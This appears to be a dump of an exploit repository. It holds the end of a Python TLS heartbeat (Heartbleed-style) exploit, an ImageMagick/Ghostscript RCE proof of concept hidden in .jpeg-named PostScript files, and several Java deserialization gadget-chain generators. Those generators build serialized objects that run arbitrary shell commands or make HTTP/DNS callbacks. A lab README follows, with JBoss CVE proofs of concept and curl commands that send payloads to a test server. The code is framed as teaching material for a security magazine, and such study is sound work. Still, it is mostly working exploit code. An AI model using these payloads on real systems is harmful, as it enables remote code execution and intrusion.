||||
s.connect((args[0], opts.port))
|
||||
print 'Sending Client Hello...'
|
||||
sys.stdout.flush()
|
||||
s.send(hello)
|
||||
print 'Waiting for Server Hello...'
|
||||
sys.stdout.flush()
|
||||
while True:
|
||||
typ, ver, pay = recvmsg(s)
|
||||
if typ == None:
|
||||
print 'Server closed connection without sending Server Hello.'
|
||||
return
|
||||
# Look for server hello done message.
|
||||
if typ == 22 and ord(pay[0]) == 0x0E:
|
||||
break
|
||||
|
||||
print 'Sending heartbeat request...'
|
||||
sys.stdout.flush()
|
||||
s.send(hb)
|
||||
hit_hb(s)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
31
ImageMagick/Ghostscript_9.23/README.md
Normal file
@ -0,0 +1,31 @@
|
||||
# ImageMagick Ghostscript RCE
|
||||
|
||||
## POC
|
||||
|
||||
### Centos
|
||||
|
||||
```
|
||||
$ cat shellexec.jpeg
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
legal
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
### Ubuntu
|
||||
|
||||
```
|
||||
$ cat shellexec.jpeg
|
||||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
## Enjoy!
|
@ -0,0 +1,36 @@
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* Classe serializável (implementa serializable) usada no primeiro exemplo
|
||||
* para destacar os magic methods readObject (invocado automaticamente durante
|
||||
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
|
||||
* serializacao)
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
class Alien implements java.io.Serializable {
|
||||
|
||||
String name;
|
||||
String source;
|
||||
|
||||
// magic method invocado automaticamente durante a desserializacao
|
||||
// de objetos deste tipo
|
||||
private void readObject(java.io.ObjectInputStream in)
|
||||
throws IOException, ClassNotFoundException {
|
||||
in.defaultReadObject();
|
||||
System.out.println("Deserializing an object of class: "+ getClass().getName());
|
||||
}
|
||||
|
||||
// magic method invocado automaticamente durante a serializacao
|
||||
// de objetos deste tipo
|
||||
private void writeObject(java.io.ObjectOutputStream out)
|
||||
throws IOException {
|
||||
out.defaultWriteObject();
|
||||
System.out.println("Serializing an object of class: "+ getClass().getName());
|
||||
}
|
||||
}
|
@ -0,0 +1,103 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.net.URL;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
|
||||
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
|
||||
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
|
||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
||||
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
|
||||
* Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
|
||||
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class DnsWithCommonsCollections {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
String url = args[0];
|
||||
// Cria array de transformers que resulta na seguinte construção:
|
||||
// new URL(url).openConnection().getInputStream().read();
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(new URL(url)),
|
||||
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
|
||||
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
|
||||
new InvokerTransformer("read", new Class[] {}, new Object[] {})
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//criado a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in SleepExample.ser");
|
||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,129 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* Gera payload que leva a execução de código durante a desserialização.
|
||||
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
|
||||
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
|
||||
* do JRE, como trigger gadget.
|
||||
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
|
||||
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
|
||||
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
|
||||
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* * https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExampleCommonsCollections1 {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
// Verifica se o usuário forneceu o comando a ser executado
|
||||
if (args.length != 1) {
|
||||
System.out.println("Invalid params! \n" +
|
||||
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
|
||||
System.exit(1);
|
||||
}
|
||||
|
||||
// Seleciona o interpretador correto de acordo com o comando a ser executado
|
||||
//boolean isUnix = System.getProperty("file.separator").equals("/");
|
||||
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
|
||||
String cmd[];
|
||||
if (isUnix)
|
||||
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
|
||||
else
|
||||
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
|
||||
|
||||
// Cria array de transformers que resulta na seguinte construção:
|
||||
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
// retorna Class Runtime.class
|
||||
new ConstantTransformer(Runtime.class),
|
||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
||||
),
|
||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
||||
new InvokerTransformer(
|
||||
"exec", // invoca método: exec
|
||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//cria a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
|
||||
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,79 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
|
||||
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
|
||||
* via Reflexão) caso seja acessada uma chave inexistente no map.
|
||||
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
|
||||
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
|
||||
*
|
||||
* Executando
|
||||
* $ rm /tmp/h2hc_lazymap
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
|
||||
* $ ls -all /tmp/h2hc_lazymap
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExampleTransformersWithLazyMap {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
|
||||
|
||||
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
|
||||
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
// retorna Class Runtime.class
|
||||
new ConstantTransformer(Runtime.class),
|
||||
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
|
||||
),
|
||||
// 3o. Objeto InvokerTransformer: .exec(cmd[])
|
||||
new InvokerTransformer(
|
||||
"exec", // invoca método: exec
|
||||
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
|
||||
new Object[]{ cmd } ) // parâmetros: (cmd[])
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
|
||||
* o fluxo de execução durante a desserialização.
|
||||
* Esse código gera um payload para explorar um sistema hipotético que contenha
|
||||
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
|
||||
*
|
||||
* Executando
|
||||
* $ rm /tmp/h2hc_2017
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
|
||||
* $ ls -all /tmp/h2hc_2017
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ExploitGadgetExample1{
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
|
||||
IOException, ClassNotFoundException {
|
||||
|
||||
// Instancia um SomeInvocationHandler
|
||||
InvocationHandler handler = new SomeInvocationHandler();
|
||||
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
|
||||
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
|
||||
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
|
||||
|
||||
// criar interface Map
|
||||
Class[] interfaceMap = new Class[] {java.util.Map.class};
|
||||
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
|
||||
|
||||
// Intancia ForgottenClass (que sera' serializado)
|
||||
ForgottenClass gadget = new ForgottenClass();
|
||||
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
|
||||
field.setAccessible(true); // torna o campo "map" acessível
|
||||
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
|
||||
|
||||
// Serializa objeto do ForgottenClass e salva no disco
|
||||
System.out.println("Serializing ForgottenClass");
|
||||
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(gadget);
|
||||
oos.flush();
|
||||
|
||||
// Desserializa objeto a partir do arquivo, para simular o que devera
|
||||
// ocorrer quando o objeto for desserializado por uma aplicacao
|
||||
System.out.println("Deserializing ForgottenClass");
|
||||
FileInputStream fis = new FileInputStream("/tmp/object.ser");
|
||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||
ois.readObject(); // <-- Inicia a desserializacao!
|
||||
} //end main
|
||||
}
|
@ -0,0 +1,46 @@
|
||||
import java.io.IOException;
|
||||
import java.io.Serializable;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
||||
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
|
||||
* pode ser usado como trampolim para o método invoke() de classes que implementem
|
||||
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
|
||||
* SomeInvocationHandler, que contém um código que se deseja alcançar.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ForgottenClass implements Serializable {
|
||||
|
||||
private Map map;
|
||||
|
||||
// magic method executado automaticamente durante a desserializacao
|
||||
// de objetos deste tipo. Repare que é acessado um método de um camop
|
||||
// controlado pelos usuários (map.entrySet())
|
||||
private void readObject(java.io.ObjectInputStream in)
|
||||
throws IOException, ClassNotFoundException{
|
||||
in.defaultReadObject();
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in ForgottenClass.readObject()");
|
||||
map.entrySet();
|
||||
}
|
||||
|
||||
// outro magic method invocado automaticamente durante a desserialização
|
||||
private Object readResolve(){
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in the ForgottenClass.readResolve()");
|
||||
return null;
|
||||
}
|
||||
|
||||
// método qualquer, que não é invocado durante a desserialização.
|
||||
private void anotherMethod(){
|
||||
System.out.println("The flow is in ForgottenClass.anotherMethod()");
|
||||
}
|
||||
}
|
@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2017 João F M Figueiredo
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
143
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md
Normal file
@ -0,0 +1,143 @@
|
||||
# Lab for Java Deserialization Vulnerabilities
|
||||
|
||||
This content is related to the paper written for the 12th edition of H2HC magazine.
|
||||
See full paper in: https://www.h2hc.com.br/revista/
|
||||
|
||||
Slides and video of the talk will be available soon.
|
||||
|
||||
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
|
||||
|
||||
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
|
||||
|
||||
Content
|
||||
--
|
||||
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
|
||||
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
|
||||
|
||||
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
|
||||
|
||||
Slides
|
||||
--
|
||||
|
||||
[](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
|
||||
|
||||
|
||||
Examples (PoC's)
|
||||
------
|
||||
|
||||
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
|
||||
|
||||
[](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
|
||||
|
||||
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
|
||||
|
||||
[](https://www.youtube.com/watch?v=JIWMItSA8l0)
|
||||
|
||||
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
|
||||
|
||||
[](https://www.youtube.com/watch?v=IrZOlqio0nw)
|
||||
|
||||
|
||||
Lab Usage Examples
|
||||
--
|
||||
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
|
||||
|
||||
***Getting JDK***
|
||||
|
||||
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
|
||||
|
||||
As **root**, run:
|
||||
```
|
||||
# cd /opt
|
||||
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
|
||||
# tar zxvf jdk-8u20-linux-x64.tar.gz
|
||||
# rm -rf /usr/bin/java*
|
||||
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
|
||||
# java -version
|
||||
java version "1.8.0_20"
|
||||
```
|
||||
|
||||
|
||||
***Getting codes:***
|
||||
|
||||
```
|
||||
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
|
||||
$ cd JavaDeserH2HC
|
||||
```
|
||||
|
||||
***Compiling and executing Vulnerable Web Application:***
|
||||
|
||||
```
|
||||
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
* =============================================================== *
|
||||
* Simple Java HTTP Server for Deserialization Lab v0.01 *
|
||||
* https://github.com/joaomatosf/JavaDeserH2HC *
|
||||
* =============================================================== *
|
||||
You can inject java serialized objects in the following formats:
|
||||
|
||||
1) Binary in HTTP POST (ie \xAC\xED). Ex:
|
||||
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
|
||||
|
||||
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
|
||||
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
|
||||
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
|
||||
|
||||
3) Base64 or Gzip+Base64 in cookies. Ex:
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
|
||||
|
||||
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
|
||||
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
|
||||
|
||||
5) XML for XStream RCE vulnerability/serialization. Ex:
|
||||
$ curl 127.0.0.1:8000 -d @file.xml
|
||||
|
||||
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
|
||||
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
==================================================================
|
||||
|
||||
JRE Version: 1.8.0_77
|
||||
[INFO]: Listening on port 8000
|
||||
```
|
||||
|
||||
***Testing payloads***
|
||||
|
||||
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
|
||||
|
||||
```
|
||||
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
|
||||
```
|
||||
|
||||
Generating payload:
|
||||
|
||||
```
|
||||
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
|
||||
Saving serialized object in ExampleCommonsCollections1.ser
|
||||
```
|
||||
|
||||
Exploiting vulnerable server:
|
||||
|
||||
Sending the payload in binary format via HTTP POST:
|
||||
```
|
||||
$ rm -rf /tmp/h2hc_2017
|
||||
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
|
||||
Data deserialized!
|
||||
